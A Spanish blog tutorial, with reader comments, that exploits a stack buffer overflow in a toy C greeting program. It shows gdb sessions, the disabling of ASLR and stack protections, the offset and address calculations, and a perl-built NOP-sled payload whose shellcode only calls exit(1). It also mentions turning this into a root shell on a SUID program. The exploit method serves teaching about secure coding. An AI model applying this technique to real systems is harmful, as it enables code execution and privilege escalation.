El anterior post lo dediqué a hablaros del funcionamiento de la pila en las llamadas a funciones con la intención de seguir profundizando hoy en los posibles problemas que pueden surgir de una programación poco cuidadosa. La mayoría de los problemas de seguridad que surgen a diario tienen su raíz en una vulnerabilidad del código ejecutable de un programa. Hoy voy a hablar de desbordamiento de buffers o buffer overflow y shellcodes.
Retocaremos un poco el programa del post anterior para simplificarlo. Ahora los parámetros llegarán por línea de comando, para que todo sea un poco más realista. El siguiente código toma una cadena de caracteres como parámetro (supuestamente un nombre) y muestra un saludo.
Vamos a compilarlo con los siguientes parámetros.
El parámetro -mpreferred-stack-boundary=2 es para alinear el stack a 4 bytes. El parámetro -fno-stack-protector desactiva la protección de la pila y finalmente -z execstack hace que sea posible ejecutar código en la pila.
Te estarás preguntando si esto no es hacer un poco de trampa y la respuesta es: absolutamente. Estamos desactivando ciertas protecciones que añade el compilador para hacer nuestro código más seguro. Por desgracia, estas protecciones se pueden rodear, así que para que entendamos los conceptos sin complicar demasiado el asunto, mejor ponérnoslo fácil y desactivar las protecciones.
Seguramente tengas curiosidad por saber cómo se podría uno saltar todas estas medidas de protección, pero me vas a permitir que no lo cuente en esta ocasión... los malos podrían estar escuchando.
El resultado de la ejecución del programa, una vez compilado, es el siguiente:
La variable nombre es un array de tamaño 10. ¿Qué ocurriría si pusiéramos un nombre de más de 10 caracteres? Probemos.
Parece que nada bueno. De hecho, si hay algún hacker malicioso en la sala estará frotándose las manos porque es el preludio de algo no muy bueno.
La violación de segmento nos indica que el programa ha intentado acceder a una zona de memoria que está fuera de su segmento, así que el propio sistema operativo lo impide como medida de protección para otros programas que pudieran estar ejecutándose.
Pero ¿cómo un programa tan inocente como éste puede estar tratando de acceder a otro segmento de memoria? Veamos qué ha pasado exactamente.
La siguiente figura muestra la estructura general del stack frame (del que ya hablamos en el anterior artículo).
Como se puede ver en la figura, tras la zona reservada a los parámetros de la función se encuentra la dirección de retorno. Es decir, almacena la dirección de memoria a la que hay que saltar cuando termine la ejecución de la función. Si recuerdas el artículo anterior, cuando termina la función se ejecuta el epílogo, que entre otras cosas, saca de la pila la dirección de retorno y la almacena en el registro %eip, que a su vez contiene la dirección de memoria de la siguiente instrucción que ha de ejecutar el microprocesador.
Vamos a ejecutar de nuevo el programa, pero esta vez dentro del depurador.
Fíjate en el valor que tiene el registro %eip: 0x1414141. Algún lector avispado habrá caído en la cuenta de que 0x41 es el valor ASCII (en hexadecimal) del carácter A. ¿Quiere esto decir que hemos sobrepasado la zona de la pila reservada para variables locales y hemos machacado el valor de la dirección de retorno con las A's? Respuesta: Sí.
¿Y esto quiere decir que si en vez de A's pongo otros valores válidos, podría hacer que la ejecución del programa siguiera en una dirección de memoria arbitraria? Respuesta: Sí.
Bien, empecemos por averiguar en qué posición de nuestra cadena de caracteres habría que poner los valores que queremos cargar en %eip. Para ello, en lugar de una ristra de A's vamos a poner números consecutivos.
Vale, tenemos los bytes 0x37, 0x36, 0x35 y 0x34, cuyos caracteres corresponden en ASCII a:
0x34 = 4
0x35 = 5
0x36 = 6
0x37 = 7
Parece que ya lo tenemos, las posiciones que nos interesan son las que están en negrita: 01234567890123456789
Vamos a asegurarnos poniendo ceros en esas posiciones y comprobando el valor que toma %eip.
Teniendo en cuenta que el valor ASCII del caracter 0 (en hexadecimal) es 0x30, parece que hemos dado en el blanco.
¿Y ahora? Pues ahora que podemos saltar a la dirección de memoria que queramos, tenemos que decidir a qué dirección de memoria saltar. La mala noticia es que tenemos que saltar a una dirección de memoria dentro del segmento del programa si no queremos obtener un bonito segmentation fault. ¿Cómo podemos inyectar código dentro de un programa que ya se está ejecutando? Hay algunas técnicas, pero la más directa y simple es poner el código en la propia cadena de caracteres que se pasa al programa como parámetro y saltar al principio de dicho código. Menuda pirueta ¿no?
Vayamos por partes. Lo primero que vamos a tratar de averiguar es a qué dirección de memoria exacta hay que saltar y luego resolveremos el problema de poner el código en la cadena de texto.
Cómo en este caso sólo tenemos una variable local, la cosa es fácil. Nuestro buffer de texto estará apuntado directamente por el registro %esp (stack pointer). Para no liarte, ten en cuenta que la figura de más arriba donde se ve la estructura del stack frame está invertida respecto a la que puse en el post anterior, es decir, aquí las direcciones de memoria alta estarían en la parte superior de la figura.
Pero antes tendremos que lidiar con una protección extra que ofrecen los sistemas operativos más modernos. El ASLR (Address space layout randomization). Lo que hace es mover aleatoriamente (añade un offset) ciertas zonas de un programa ejecutable, entre los que se encuentra la pila. Vamos a comprobar si nuestro sistema tiene activa dicha protección.
Ejecutamos dos veces el programa dentro del depurador y vemos el valor que tome %esp.
En la primera ejecución %esp valía 0xbffff2f4 y en la segunda 0xbffff304, así que tiene toda la pinta de que tenemos activo el ASLR.
Alternativamente, puede comprobarse de la siguiente manera:
Si lo queremos desactivar sólo hay que poner este valor a cero. Como root ejecutamos:
De nuevo nos ponemos las cosas fáciles desactivando protecciones, aunque te adelanto que hay técnicas para esquivar el ASLR.
Comprobemos de nuevo:
Ahora si coinciden los valores. En este caso, al estar dentro del depurador, el registro %esp podría no coincidir con el valor que tendría si lo ejecutáramos directamente, así que para obtener %esp vamos a forzar que se genere un core y con gdb vamos a analizarlo.
Para asegurarnos de que genera el core en el disco usamos la siguiente instrucción.
Y seguidamente lanzamos el programa con el parámetro siguiente (justo el tamaño necesario para sobreescribir el registro %eip).
Analizamos el fichero de core que se ha generado y vemos cuál es el valor de %esp.
El valor de %esp es 0xbffff334, pero el principio del buffer estará en %esp-18, ya que el parámetro que hemos pasado tenía 18 bytes. Vamos a comprobarlo dentro de gdb.
Coincide con los valores esperados 0x30=0, 0x31=1, 0x32=2, etc.
Así que la dirección base donde empieza nuestro buffer es 0xbffff322.
Ahora nos falta poner el código que queremos ejecutar, junto con la dirección base de dicho código en la cadena de caracteres que se pasa como parametro al programa. Es lo que comunmente se denomina shellcode, ya que habitualmente lo que se persigue es obtener una shell con permisos de administrador. Nosotros nos vamos a quedar un paso antes y en vez de eso (no quiero que luego me culpen de darte malas ideas) vamos a ejecutar un código que simplemente hace un exit(1). Es decir, sale del programa con el valor de retorno 1.
El siguiente es el código ensamblador que queremos ejecutar junto con sus códigos de operación en formato hexadecimal.
Los códigos de operación pueden obtenerse fácilmente desde gdb con:
Hagamos algunos cálculos:
El shellcode tiene 7 bytes y la dirección de memoria que vamos a volcar a %eip son 4 bytes. 11 bytes en total. Como nuestro buffer maligno tiene 18 bytes rellenaremos el resto con instrucciones NOP, que tienen el código de operación 0x90. Tengo la costumbre de poner los NOPs al principio del shellcode por razones que no explicaré por ahora, así que la cosa quedaría así:
\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x40\x89\xc3\xcd\x80\x22\xf3\xff\xbf
En azul están los NOPs de relleno, en rojo los bytes en hexadecimal de nuestro shellcode y finalmente en verde la dirección que vamos a poner en %eip, que como hemos visto era 0xbffff322.
Si te fijas en la dirección, los cuatro bytes que la componen están puestas al revés debido a la arquitectura x86 que es little endian.
¿Cómo ponemos esa cadena de caracteres en el parámetro del programa? Vamos a usar perl para ello:
Ejecutemos primero el programa con un parámetro legal:
Vemos que el código de retorno del programa es 0 (se comprueba con echo $?).
Ahora ejecutamos de nuevo pero con nuestro shellcode.
No ha habido violación de segmento ni code dump ni nada de nada (salvo unos caracteres extraños que se corresponden con los valores en hexadecimal que le hemos pasado). Y... sorpresa: el valor de retorno es 1, lo que quiere decir que se ha ejecutado nuestro shellcode.
Puede que no te parezca muy sorprendente, pero si eres capaz de ver un poco más allá te darás cuenta del potencial del asunto. A partir de esta técnica es posible realizar diferentes ataques.
Imagina por ejemplo que encontramos una vulnerabilidad de este tipo en un programa con el bit SUID activo y que además pertenece al usuario root. Si nuestro shellcode, en vez de hacer exit ejecuta un execve("/bin/sh"), obtendremos nada más y nada menos que una shell de root.
El ejemplo que hemos visto es muy obvio y no hemos usado ninguna herramienta para ayudarnos (que las hay). Mi intención es simplemente concienciar sobre las buenas prácticas de programación y de por qué hay que chequear los límites de los arrays o de los bloques de memoria (en este caso bastaría con sustituir strcpy() por strncpy() para evitar esta vulnerabilidad).
He buscado un equilibrio entre mostrar la problemática de los desbordamientos de buffer y no dar una receta para que cualquier descerebrado con aires de hacker pueda causar problemas a nadie (por eso el shellcode que os he mostrado es un inofensivo exit(1)).
Retocaremos un poco el programa del post anterior para simplificarlo. Ahora los parámetros llegarán por línea de comando, para que todo sea un poco más realista. El siguiente código toma una cadena de caracteres como parámetro (supuestamente un nombre) y muestra un saludo.
#include <stdio.h> #include <string.h> void saluda(char * texto) { char nombre[10]; strcpy(nombre, texto); printf("Hola %s\n", nombre); } int main(int argc, char **argv) { if (argc == 2) { saluda(argv[1]); } else { printf("Este programa acepta exactamente un argumento.\n"); } return 0; }
Vamos a compilarlo con los siguientes parámetros.
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector \ -z execstack -o saludo2 saludo2.c
El parámetro -mpreferred-stack-boundary=2 es para alinear el stack a 4 bytes. El parámetro -fno-stack-protector desactiva la protección de la pila y finalmente -z execstack hace que sea posible ejecutar código en la pila.
Te estarás preguntando si esto no es hacer un poco de trampa y la respuesta es: absolutamente. Estamos desactivando ciertas protecciones que añade el compilador para hacer nuestro código más seguro. Por desgracia, estas protecciones se pueden rodear, así que para que entendamos los conceptos sin complicar demasiado el asunto, mejor ponérnoslo fácil y desactivar las protecciones.
Seguramente tengas curiosidad por saber cómo se podría uno saltar todas estas medidas de protección, pero me vas a permitir que no lo cuente en esta ocasión... los malos podrían estar escuchando.
El resultado de la ejecución del programa, una vez compilado, es el siguiente:
alberto@vmubuntu:~/temp$ ./saludo2 alberto Hola alberto
La variable nombre es un array de tamaño 10. ¿Qué ocurriría si pusiéramos un nombre de más de 10 caracteres? Probemos.
alberto@vmubuntu:~/temp$ ./saludo2 AAAAAAAAAAAAAAAAAAAA Hola AAAAAAAAAAAAAAAAAAAA Violación de segmento (`core' generado)
Parece que nada bueno. De hecho, si hay algún hacker malicioso en la sala estará frotándose las manos porque es el preludio de algo no muy bueno.
La violación de segmento nos indica que el programa ha intentado acceder a una zona de memoria que está fuera de su segmento, así que el propio sistema operativo lo impide como medida de protección para otros programas que pudieran estar ejecutándose.
Pero ¿cómo un programa tan inocente como éste puede estar tratando de acceder a otro segmento de memoria? Veamos qué ha pasado exactamente.
La siguiente figura muestra la estructura general del stack frame (del que ya hablamos en el anterior artículo).
Como se puede ver en la figura, tras la zona reservada a los parámetros de la función se encuentra la dirección de retorno. Es decir, almacena la dirección de memoria a la que hay que saltar cuando termine la ejecución de la función. Si recuerdas el artículo anterior, cuando termina la función se ejecuta el epílogo, que entre otras cosas, saca de la pila la dirección de retorno y la almacena en el registro %eip, que a su vez contiene la dirección de memoria de la siguiente instrucción que ha de ejecutar el microprocesador.
Vamos a ejecutar de nuevo el programa, pero esta vez dentro del depurador.
alberto@vmubuntu:~/temp$ gdb -q ./saludo2 Leyendo símbolos desde /home/alberto/temp/saludo2...hecho. (gdb) run AAAAAAAAAAAAAAAAAAAA Starting program: /home/alberto/temp/saludo2 AAAAAAAAAAAAAAAAAAAA Hola AAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg eip eip 0x41414141 0x41414141
Fíjate en el valor que tiene el registro %eip: 0x1414141. Algún lector avispado habrá caído en la cuenta de que 0x41 es el valor ASCII (en hexadecimal) del carácter A. ¿Quiere esto decir que hemos sobrepasado la zona de la pila reservada para variables locales y hemos machacado el valor de la dirección de retorno con las A's? Respuesta: Sí.
¿Y esto quiere decir que si en vez de A's pongo otros valores válidos, podría hacer que la ejecución del programa siguiera en una dirección de memoria arbitraria? Respuesta: Sí.
Bien, empecemos por averiguar en qué posición de nuestra cadena de caracteres habría que poner los valores que queremos cargar en %eip. Para ello, en lugar de una ristra de A's vamos a poner números consecutivos.
alberto@vmubuntu:~/temp$ gdb -q ./saludo2 Leyendo símbolos desde /home/alberto/temp/saludo2...hecho. (gdb) run 01234567890123456789 Starting program: /home/alberto/temp/saludo2 01234567890123456789 Hola 01234567890123456789 Program received signal SIGSEGV, Segmentation fault. 0x37363534 in ?? () (gdb) info reg eip eip 0x37363534 0x37363534
Vale, tenemos los bytes 0x37, 0x36, 0x35 y 0x34, cuyos caracteres corresponden en ASCII a:
0x34 = 4
0x35 = 5
0x36 = 6
0x37 = 7
Parece que ya lo tenemos, las posiciones que nos interesan son las que están en negrita: 01234567890123456789
Vamos a asegurarnos poniendo ceros en esas posiciones y comprobando el valor que toma %eip.
alberto@vmubuntu:~/temp$ gdb -q ./saludo2 Leyendo símbolos desde /home/alberto/temp/saludo2...hecho. (gdb) run 01234567890123000045 Starting program: /home/alberto/temp/saludo2 01234567890123000045 Hola 01234567890123000045 Program received signal SIGSEGV, Segmentation fault. 0x30303030 in ?? () (gdb) info reg eip eip 0x30303030 0x30303030
Teniendo en cuenta que el valor ASCII del caracter 0 (en hexadecimal) es 0x30, parece que hemos dado en el blanco.
¿Y ahora? Pues ahora que podemos saltar a la dirección de memoria que queramos, tenemos que decidir a qué dirección de memoria saltar. La mala noticia es que tenemos que saltar a una dirección de memoria dentro del segmento del programa si no queremos obtener un bonito segmentation fault. ¿Cómo podemos inyectar código dentro de un programa que ya se está ejecutando? Hay algunas técnicas, pero la más directa y simple es poner el código en la propia cadena de caracteres que se pasa al programa como parámetro y saltar al principio de dicho código. Menuda pirueta ¿no?
Vayamos por partes. Lo primero que vamos a tratar de averiguar es a qué dirección de memoria exacta hay que saltar y luego resolveremos el problema de poner el código en la cadena de texto.
Cómo en este caso sólo tenemos una variable local, la cosa es fácil. Nuestro buffer de texto estará apuntado directamente por el registro %esp (stack pointer). Para no liarte, ten en cuenta que la figura de más arriba donde se ve la estructura del stack frame está invertida respecto a la que puse en el post anterior, es decir, aquí las direcciones de memoria alta estarían en la parte superior de la figura.
Pero antes tendremos que lidiar con una protección extra que ofrecen los sistemas operativos más modernos. El ASLR (Address space layout randomization). Lo que hace es mover aleatoriamente (añade un offset) ciertas zonas de un programa ejecutable, entre los que se encuentra la pila. Vamos a comprobar si nuestro sistema tiene activa dicha protección.
Ejecutamos dos veces el programa dentro del depurador y vemos el valor que tome %esp.
alberto@vmubuntu:~/temp$ gdb -q ./saludo2 Leyendo símbolos desde /home/alberto/temp/saludo2...hecho. (gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /home/alberto/temp/saludo2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hola aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) info reg esp esp 0xbffff2f4 0xbffff2f4 (gdb) run bbbbbbbbbbbbbbbbbbbbbbbbbbbbb The program being debugged has been started already. Start it from the beginning? (y o n) y Starting program: /home/alberto/temp/saludo2 bbbbbbbbbbbbbbbbbbbbbbbbbbbbb Hola bbbbbbbbbbbbbbbbbbbbbbbbbbbbb Program received signal SIGSEGV, Segmentation fault. 0x62626262 in ?? () (gdb) info reg esp esp 0xbffff304 0xbffff304
En la primera ejecución %esp valía 0xbffff2f4 y en la segunda 0xbffff304, así que tiene toda la pinta de que tenemos activo el ASLR.
Alternativamente, puede comprobarse de la siguiente manera:
alberto@vmubuntu:~/temp$ cat /proc/sys/kernel/randomize_va_space 2
Si lo queremos desactivar sólo hay que poner este valor a cero. Como root ejecutamos:
root@vmubuntu:~# echo "0" > /proc/sys/kernel/randomize_va_space
De nuevo nos ponemos las cosas fáciles desactivando protecciones, aunque te adelanto que hay técnicas para esquivar el ASLR.
Comprobemos de nuevo:
alberto@vmubuntu:~/temp$ gdb -q ./saludo2 Leyendo símbolos desde /home/alberto/temp/saludo2...hecho. (gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /home/alberto/temp/saludo2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hola aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) info reg esp esp 0xbffff2f4 0xbffff2f4 (gdb) run bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb The program being debugged has been started already. Start it from the beginning? (y o n) y Starting program: /home/alberto/temp/saludo2 bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Hola bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Program received signal SIGSEGV, Segmentation fault. 0x62626262 in ?? () (gdb) info reg esp esp 0xbffff2f4 0xbffff2f4
Ahora si coinciden los valores. En este caso, al estar dentro del depurador, el registro %esp podría no coincidir con el valor que tendría si lo ejecutáramos directamente, así que para obtener %esp vamos a forzar que se genere un core y con gdb vamos a analizarlo.
Para asegurarnos de que genera el core en el disco usamos la siguiente instrucción.
ulimit -c unlimited
Y seguidamente lanzamos el programa con el parámetro siguiente (justo el tamaño necesario para sobreescribir el registro %eip).
alberto@vmubuntu:~/temp$ ./saludo2 012345678901230000 Hola 012345678901230000 Violación de segmento (`core' generado)
Analizamos el fichero de core que se ha generado y vemos cuál es el valor de %esp.
alberto@vmubuntu:~/temp$ gdb -q -c core [Nuevo LWP 3197] El núcleo se generó por «./saludo2 012345678901230000». El programa terminó con la señal 11, Segmentation fault. #0 0x30303030 in ?? () (gdb) info reg eax 0x18 24 ecx 0x0 0 edx 0x0 0 ebx 0x2ecff4 3067892 esp 0xbffff334 0xbffff334 ebp 0x33323130 0x33323130 esi 0x0 0 edi 0x0 0 eip 0x30303030 0x30303030 eflags 0x10292 [ AF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
El valor de %esp es 0xbffff334, pero el principio del buffer estará en %esp-18, ya que el parámetro que hemos pasado tenía 18 bytes. Vamos a comprobarlo dentro de gdb.
(gdb) x/18x $esp-18 0xbffff322: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0xbffff32a: 0x38 0x39 0x30 0x31 0x32 0x33 0x30 0x30 0xbffff332: 0x30 0x30
Coincide con los valores esperados 0x30=0, 0x31=1, 0x32=2, etc.
Así que la dirección base donde empieza nuestro buffer es 0xbffff322.
Ahora nos falta poner el código que queremos ejecutar, junto con la dirección base de dicho código en la cadena de caracteres que se pasa como parametro al programa. Es lo que comunmente se denomina shellcode, ya que habitualmente lo que se persigue es obtener una shell con permisos de administrador. Nosotros nos vamos a quedar un paso antes y en vez de eso (no quiero que luego me culpen de darte malas ideas) vamos a ejecutar un código que simplemente hace un exit(1). Es decir, sale del programa con el valor de retorno 1.
El siguiente es el código ensamblador que queremos ejecutar junto con sus códigos de operación en formato hexadecimal.
#codigo del shellcode ( exit(1) ): "\x31\xc0" // xor %eax,%eax "\x40" // inc %eax "\x89\xc3" // mov %eax,%ebx "\xcd\x80" // int $0x80
Los códigos de operación pueden obtenerse fácilmente desde gdb con:
(gdb) x/7x direccción_shellcode
Hagamos algunos cálculos:
El shellcode tiene 7 bytes y la dirección de memoria que vamos a volcar a %eip son 4 bytes. 11 bytes en total. Como nuestro buffer maligno tiene 18 bytes rellenaremos el resto con instrucciones NOP, que tienen el código de operación 0x90. Tengo la costumbre de poner los NOPs al principio del shellcode por razones que no explicaré por ahora, así que la cosa quedaría así:
\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x40\x89\xc3\xcd\x80\x22\xf3\xff\xbf
En azul están los NOPs de relleno, en rojo los bytes en hexadecimal de nuestro shellcode y finalmente en verde la dirección que vamos a poner en %eip, que como hemos visto era 0xbffff322.
Si te fijas en la dirección, los cuatro bytes que la componen están puestas al revés debido a la arquitectura x86 que es little endian.
¿Cómo ponemos esa cadena de caracteres en el parámetro del programa? Vamos a usar perl para ello:
./saludo2 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x40\x89\xc3\xcd\x80\x22\xf3\xff\xbf"'`
Ejecutemos primero el programa con un parámetro legal:
alberto@vmubuntu:~/temp$ ./saludo2 Alberto Hola Alberto alberto@vmubuntu:~/temp$ echo $? 0
Vemos que el código de retorno del programa es 0 (se comprueba con echo $?).
Ahora ejecutamos de nuevo pero con nuestro shellcode.
alberto@vmubuntu:~/temp$ ./saludo2 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x40\x89\xc3\xcd\x80\x22\xf3\xff\xbf"'` Hola �������1�@��̀"��� alberto@vmubuntu:~/temp$ echo $? 1
No ha habido violación de segmento ni code dump ni nada de nada (salvo unos caracteres extraños que se corresponden con los valores en hexadecimal que le hemos pasado). Y... sorpresa: el valor de retorno es 1, lo que quiere decir que se ha ejecutado nuestro shellcode.
Puede que no te parezca muy sorprendente, pero si eres capaz de ver un poco más allá te darás cuenta del potencial del asunto. A partir de esta técnica es posible realizar diferentes ataques.
Imagina por ejemplo que encontramos una vulnerabilidad de este tipo en un programa con el bit SUID activo y que además pertenece al usuario root. Si nuestro shellcode, en vez de hacer exit ejecuta un execve("/bin/sh"), obtendremos nada más y nada menos que una shell de root.
El ejemplo que hemos visto es muy obvio y no hemos usado ninguna herramienta para ayudarnos (que las hay). Mi intención es simplemente concienciar sobre las buenas prácticas de programación y de por qué hay que chequear los límites de los arrays o de los bloques de memoria (en este caso bastaría con sustituir strcpy() por strncpy() para evitar esta vulnerabilidad).
He buscado un equilibrio entre mostrar la problemática de los desbordamientos de buffer y no dar una receta para que cualquier descerebrado con aires de hacker pueda causar problemas a nadie (por eso el shellcode que os he mostrado es un inofensivo exit(1)).
Muy bueno este post! Me encanta! Aunque me surge una duda, tengo entendido que si tienes el código, entonces puedes ejecutarlo y por ello hacer lo del shellcode, pero... cómo se podría obtener previamente ese código? Soy estudiante y en mi asignatura de Seguridad Informática tengo una práctica sobre vulnerabilidades. Espero puedas darme alguna pista de dónde o cómo buscar sobre ello. Gracias!
ResponderEliminarGenial amigo tu explicación es muy didáctica y logre de terminar de comprender algunos detalles, muchas gracias
ResponderEliminar